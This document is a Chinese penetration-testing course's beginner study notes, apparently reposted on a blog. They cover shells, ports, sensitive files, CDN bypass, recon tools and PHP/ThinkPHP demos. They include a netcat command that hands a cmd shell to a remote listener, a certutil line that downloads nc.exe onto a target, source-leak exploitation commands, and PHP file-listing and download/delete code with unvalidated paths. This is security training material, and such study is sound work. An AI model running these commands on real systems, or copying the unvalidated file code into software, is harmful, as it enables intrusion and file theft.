赞
踩
小迪安全v2023笔记 基础入门
喜欢我实习1500的网安吗?
POC:proof of concept,概念验证代码,用来证明漏洞存在。
EXP:exploit,利用漏洞进行攻击的动作。
Payload:有效载荷,指的是成功执行payload后,真正在目标系统执行的代码或指令。
Shellcode:调用攻击目标的shell的代码。
信息安全的三原则(CIA):机密性,完整性,可用性。
防火墙出站宽松,入站严,入站一般要关防火墙。
b去连接a,对于a来说是入站,为反向shell。
a去连接b,对于a来说是出站,为正向shell。
a去连接b
b作为服务器监听
nc -lvvp 5566
a连接到服务器并完成正向shell
nc -e cmd 192.168.10.8 5566
有时候要让靶机执行命令,下载一个nc.exe。(目的文件名n.exe)
certutil.exe -urlcache -split -f http://www.xiaodi8.com:80/nc.exe n.exe
虚拟机连接主机,主机可以执行dir查看虚拟机目录。
开发语言
程序源码:应用类型分类,开源cms分类(比如wordpress),开发框架分类等。
中间件:iis,apache,nginx,tomcat,weblogic,jboos,glasshfish。
数据库:access,mysql,mssql,oracle,db2,sybase,redis,mongodb。
第三方软件:phpmyadmin,vs-ftpd,vnc,elk,openssh
常见漏洞:rce远程命令执行,xss跨站,csrf/ssrf/crlf,反序列化,越权,未授权访问,xxe/xml,sql。
安装雷电模拟器
app有web协议&小程序&pc抓包http/s数据-charles,fidder,burpsuite
程序进程&网络接口&其他协议-wireshark,科来网络分析系统、TCPDump(linux)。
通讯类应用封包分析发送接收-wpe四件套封包(apk->ccproxy->wpe监控cc进程)
需要给浏览器安装工具证书
封包能精确到每个操作的数据包。
www.baidu.com
顶级域名(一级域名):com
二级域名:baidu
三级域名:www
icp备案查询
查网站搭建(cms识别):云悉指纹
数据库
mysql 3306
mssql 1433
oracle 1521
redis 6379
sql server 1433
mongoDB 27017
常见的TCP和UDP服务默认端口:
TCP代表传输控制协议,面向连接。
UDP代表用户数据报协议,无连接。
服务 | 端口号 | 描述 | 协议 |
---|---|---|---|
FTP | 21 | 文件传输协议 | TCP,(UDP不常见) |
SSH | 22 | 安全外壳协议 | TCP |
Telnet | 23 | 远程登录协议 | TCP |
SMTP | 25(最初),587 | 简单邮件传输协议 | TCP |
DNS | 53 | 域名系统,区域传输用TCP,查询用UDP | TCP,UDP |
DHCP | 67(客户端),68(服务器) | 动态主机配置协议 | UDP |
HTTP | 80 | 超文本传输协议 | TCP |
POP3 | 110 | 邮局协议版本3 | TCP |
Portmapper | 111 | 端口映射器/RPCBIND(远程过程调用) | TCP,UDP |
NetBIOS名称服务 | 137 | 在局域网中提供计算机名称到IP地址的解析服务 | UDP |
IMAP | 143 | 互联网邮件访问协议(非加密) | TCP,UDP |
SNMP | 161(只读),162(陷阱/通知) | 简单网络管理协议 | UDP |
HTTPS | 443 | 超文本传输安全协议HTTP over SSL/TLS | TCP |
RIP | 520 | 路由信息协议 | UDP |
IMAPS | 993 | 安全互联网邮件访问协议IMAP over SSL/TLS | TCP |
其他
RDP 远程桌面 3389
操作系统
大小写:linux对大小写敏感
TTL值:ping 127.0.0.1
linux
/etc/passwd
/etc/hosts 当前操作系统网卡ip
/etc/ssh:包含SSH服务的配置文件,可能包含安全敏感信息,如私钥、公钥等。
/proc/net/arp 显示arp缓存表(寻找内网中其他主机)
/proc/net/fib_trie 显示当前网段路由信息
/proc/sys:包含系统内核参数的虚拟文件系统
/var/log:存放系统日志文件
/var/tmp 和 /tmp 临时文件
/dev:包含设备文件的目录
windows
C:\Windows\System32:包含系统核心文件
C:\Windows\System32\drivers 存放着Windows操作系统的核心驱动程序
git泄露:githack
python githack.py http://127.0.0.1:80/.git/
svn泄露:svnhack
git clone https://github.com/callmefeifei/SvnHack.git 克隆到当前目录
python svnhack.py -u http://127.0.0.1:80/.svn/entries --download
ds_store 文件泄露
漏洞利用工具:ds_store_exp
python ds_store_exp.py http://127.0.0.1:80/.DS_Store
php的composer.json泄露
/composer.json
站库分离:网站与数据库分离,数据库为远程数据库。
CDN加速:CDN加速通过在全球各地分布的服务器网络上存储网站、应用程序和媒体文件的副本来实现加速效果。当用户请求访问某个网站或应用程序时,CDN会根据用户的地理位置和网络条件,将内容从离用户最近的服务器上提供,从而减少了延迟和加载时间。
负载均衡:分摊到多个操作单元上进行执行,可能拿到备用机的权限。
WAF应用防火墙:WAF检查每一个传入的数据包的内容来检测SQL注入、跨站点脚本、会话劫持、篡改参数或URL等类型的攻击。
主机防护防火墙:比如服务器安全狗。
CDN:内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输得更快、更稳定。
CDN配置:加速域名(需要启动加速的域名),加速区域,加速类型
传统访问:用户访问域名->解析服务器IP->访问目标主机
普通CDN:用户访问域名->CDN节点->真实服务器I->访问目标主机
带WAF的CDN:用户访问域名->CDN节点(WAF)->真实服务器IP->访问目标主机
nslookup baidu.com 多个ip
不同地方ping的ip不同
CDN绕过
服务器存在ssrf漏洞,会向你的网站发起请求,你的网站会记录访问的真实ip。
子域名没有cdn加速:比如只加速了www.xxx.com,test.xxx.com没加速。使用超级ping会发现子域名指向同一个ip。查sp910.com发现IP同一个。
接口查询国外访问:国外没cdn加速。
mx记录(邮件交换记录)或邮件没有cdn加速
主动邮件配合备案
常用网站
get-site-ip.com 不准确
备案查询
https://ping.chinaz.com/
常用工具
fuckcdn
通过本机的cmd获取本地访问该域名的ip地址并写入工具中,端口为80
CDN绑定
windows\system32\drivers\etc\hosts 域名指向修改文件
外在抓包:比如burpsuite,fiddler等。
内在提取:源代码中提取。
appinfoscanner:对app里的url,ip地址,关键字进行采集
python3 app.py andriod -i ./test.apk
查壳工具:pkid
脱壳工具
andriod:xposed模块:dexdump,frida模块:frida-dexdump
ios:
frida模块:
windows使用:frida-ipa-dump
macOS使用:frida-ios-dump
fofa .so
shodan search engine
zoomeye.org 知道创宇
https://quake.360.net/quake/#/index
自动化项目
http://github.com/knownsec/Kunyu
https://github.com/0x727/ShuiZe_0x727
https://github.com/Aabyss-Team/ARL?tab=readme-ov-file 灯塔arl
单点项目
子域名 oneforall
企查查 enscan
指纹识别 finger
默认之前使用过phpstudy编写搭建网站。
php超级全局变量$_FILES
$_FILES["表单值"]["name"] 获取上传文件原始名称
$_FILES["表单值"]["type"] 获取上传文件MIME类型
$_FILES["表单值"]["size"] 获取上传文件字节单位大小
$_FILES["表单值"]["tmp_name"] 获取上传的临时副本文件名
$_FILES["表单值"]["error"] 获取上传时发生的错误代码
php目录访问
is_dir() 函数用于检查指定的路径是否是一个目录
opendir() 函数用于打开指定的目录,返回句柄,用来读取目录中的文件和子目录
readdir() 函数用于从打开的目录句柄中读取目录中的文件和子目录
open_basedir:PHP.INI中的设置用来控制脚本程序访问目录
ini_set('open_basedir',__DIR__); 设置配置文件中,只能访问本目录
文件显示
<?php
// 获取路径参数,如果未提供则默认为当前目录
$path = $_GET['path'] ? $_GET['path']: './';
// 定义获取文件列表的函数
function getlist($path){
$hd=opendir($path);
$list=array();
while(($file_name=readdir($hd))!==False){
// 排除当前目录和父目录
if ($file_name != '.' && $file_name != '..') {
$file_path="$path/$file_name";// 构建文件完整路径
$file_type=filetype($file_path);
//$file_type为file或dir
$list[$file_type][]=array(
'file_name' =>$file_name, // 文件名存储键值
'file_path' => $file_path, // 文件路径存储键值
'file_size' => round(filesize($file_path) / 1024), // 通过换算文件大小存储键值
'file_time' => date('Y/m/d H:i:s',filemtime($file_path))// 获取文件时间并存储键值
);
}
}
// 关闭目录句柄
closedir($hd);
// 返回文件列表数组
return $list;
}
// 调用函数获取文件列表
$list = getlist($path);
print_r($list) ;
?>
文件上传+保存
jkloli目录
index.html
index.php
test.php
index.html
<!DOCTYPE html>
<head>
<meta charset="utf-8">
<title>文件上传</title>
</head>
<body>
<form method="POST" action="test.php" enctype="multipart/form-data">
<label for="file">
<input type="file" name='file' id='file' accept=".txt"><br>
<input type="submit" value="上传文件">
</form>
</body>
index.php
<?php
include_once('index.html');
test.php
php pathinfo函数
PATHINFO_DIRNAME: 目录路径
PATHINFO_BASENAME: 文件名,包含扩展名
PATHINFO_EXTENSION: 文件后缀名
PATHINFO_FILENAME: 不包含后缀的文件名
<?php
$uploadDir='./uploads';
if(!file_exists($uploadDir)){
mkdir($uploadDir);//创建目录
}
if($_SERVER['REQUEST_METHOD']=='POST'&&isset($_FILES['file'])){
$name=basename($_FILES['file']['name']);//basename去掉文件名前的路径
$tmpname=$_FILES['file']['tmp_name'];
$ext=pathinfo($name,PATHINFO_EXTENSION);//获取扩展名
if(in_array($ext,['txt','md'])){
if(move_uploaded_file($tmpname,$uploadDir."/$name")){
echo"<script>alert('上传成功')</script>" ;
}else{
echo "上传失败";
}
}else{
echo '文件类型不符合';
}
}else{
echo"没有上传";
}
文件下载与删除
通过修改http头实现
<?php
// 接受方法 判断是怎么操作
switch ($action){
case 'del':
unlink($file);
// 如果操作为删除,则调用unlink函数删除指定文件
break;
case 'down':
header("Content-Type: application/octet-stream");
// 设置响应内容的类型为二进制流,告知浏览器这是一个文件下载
header("Content-Disposition: attachment; filename=\"" .$file."\"");
// 设置浏览器提示下载,并指定下载文件的名称(使用 $file 变量)
header("Content-Length: " . filesize($file));
// 设置响应内容的长度为文件大小,告知浏览器文件的实际大小
readfile($file);
// 读取并输出文件内容,将文件内容发送给浏览器
break;
}
?>
AJAX 技术通过在后台发送异步 HTTP 请求并接收响应,使得用户能够在不刷新整个页面的情况下获取更新后的数据。
js jquery库的ajax请求
请求->返回->读取返回的数据->js ajax代码进行解析->结果
php
请求->返回->返回结果
使用phpstudy搭建网站
test.php作为后端
<?php
if ($_SERVER['REQUEST_METHOD']=="POST") {
if($_POST['name']=="张三"&&$_POST['age']=9000){
echo json_encode(array("code"=>200,"infocode"=>1));
}else{
echo json_encode(array("code"=>200,"infocode"=>0));
}
}
index.html作为前端
<!DOCTYPE html>
<head>
<meta charset="utf-8">
<title>jquery test</title>
<script src="./jquery-3.7.1.js">//引入jquery</script>
</head>
<body>
<script>
$(document).ready(function() { // 确保DOM加载完成后再绑定事件
$("button").on("click",function(){// 绑定button的点击事件
$.ajax({
type:"POST",
url:"test.php",//localhost:80/jkloli/test.php
dataType:"json",
data:{
name:$('.name').val(),//使用类选择器获取输入框的值
age:$('.age').val()
},
success:function(res){
if(res.infocode==1){
alert("验证成功");
}else{
alert("验证失败");
}
},
error:function(jqXHR, textStatus, errorThrown){
// 构建错误信息字符串
alert("失败: " + textStatus + ", " + errorThrown);
}
})
});
});
</script>
<label for="name">name:</label>
<input type="text" id="name" class="name">
<label for="age">age:</label>
<input type="text" id="age" class="age">
<button>提交</button>
</body>
失败弹窗
失败: parsererror, SyntaxError: Unexpected end of JSON input
在WWW目录下下载thinkphp框架
git clone -b 5.1 https://gitee.com/liu21st/thinkphp.git thinkphp5.1
cd thinkphp5.1
git clone -b 5.1 https://gitee.com/liu21st/framework.git thinkphp
thinkphp5.1对应php5.6
下面我们来看看它的结构
下面来访问一下sorry函数
它的url结构:http://serverName/index.php/模块/控制器/操作/[参数名/参数值...]
在application/index/controller下新建cc.php
访问url:localhost/thinkphp5.1/public/index.php/index/cc/sayhi
<?php
namespace app\index\controller;
use think\Controller;
use think\Db;
class cc extends Controller
{
public function sayhi()
{
return 'hi';
}
}
将index/controller下的index.php复制到jkloli/controller目录里
修改命名空间为namespace app\jkloli\controller;
jkloli/controller目录下新建Jk.php
<?php
namespace app\jkloli\controller;
use think\Controller;
use think\Db;
class Jk extends Controller
{
public function cllsse()
{
echo 'cllsse';
}
}
thinkphp很不稳定,路径有时候可以访问有时候不能访问。不能访问时,把phpstudy关了,过一会再开试试。
我用的是mysql8.0
首先在navicat中修改root用户的插件为mysql_native_password,然后重新输入密码。
然后设置mysql的默认字符集为老版本的utf8,具体操作如下:
netstat -ano |findstr :3306
查看端口占用,taskkill /pid xxx -f
。若端口没被占用则是my.ini的问题。thinkphp开调试模式:/config/app.php里app_debug改为true。
找到/config/database.php,修改数据库配置信息。
修改Jk.php
<?php
namespace app\jkloli\controller;
use think\Controller;
use think\Db;
class Jk extends Controller
{
public function cllsse()
{
echo 'cllsse';
}
public function ss(){
if(input('?get.id')&&input('?get.username')){//检查参数是否存在
$id=input('get.id');
$username=input('get.username');
$data = db('t_user')
->where("id",'=',$id)
->where("username",'=',$username)<>不等于,exp表达式
->select();
print_r($data);
}else{
echo "请使用get请求:?id=xx&username=xx";
}
}
}
thinkphp看版本->看报错页面,看THINK_VERSION全局变量,看url地址构造
?m=Home&c=Index&a=func1
m模块,c控制器,a方法
然后通过版本找历史漏洞
https://github.com/mochazz/thinkphp-vuln?tab=readme-ov-file
ACCESS数据库无管理帐号密码,顶级架构为表名,列名(字段),数据,所以在注入猜解中一般采用字典猜解表和列再获取数据,猜解简单但又可能出现猜解不到的情况,由于Access数据库在当前安全发展中已很少存在,故直接使用SQLMAP注入。
IIS短文件名漏洞
此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
利用工具:
https://github.com/irsdl/IIS-ShortName-Scanner
https://github.com/lijiejie/IIS_shortname_Scanner
IIS文件解析
IIS 6 解析漏洞
IIS 7.x 解析漏洞
IIS写权限漏洞
IIS<=6.0 目录权限开启写入,开启WebDAV,设置为允许
参考利用:https://cloud.tencent.com/developer/article/2050105
http options请求获取服务器允许的 http 方法
put请求向服务器添加文件
move请求将文件改名
补充一点基础。
自行学习以下指令
域名注册信息
whois 指令
域名信息探测
dig 指令
nslookup 指令
DNS记录类型:A/AAAA/PTR/MX/ANY
路由信息探测
ping 指令 发送ICMP,接收ICMP echo
tracert 指令 使用IP生存时间(TTL)和ICMP错误信息来确认从一个主机到网络其他主机的路由
其他重要的指令
curl 指令
wget 指令
netstat 指令
ipconfig 指令
常见dns服务器
8.8.8.8 谷歌dns
114.114.114.114 移动电信联通通用dns
223.5.5.5 阿里dns
180.76.76.76 百度dns
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。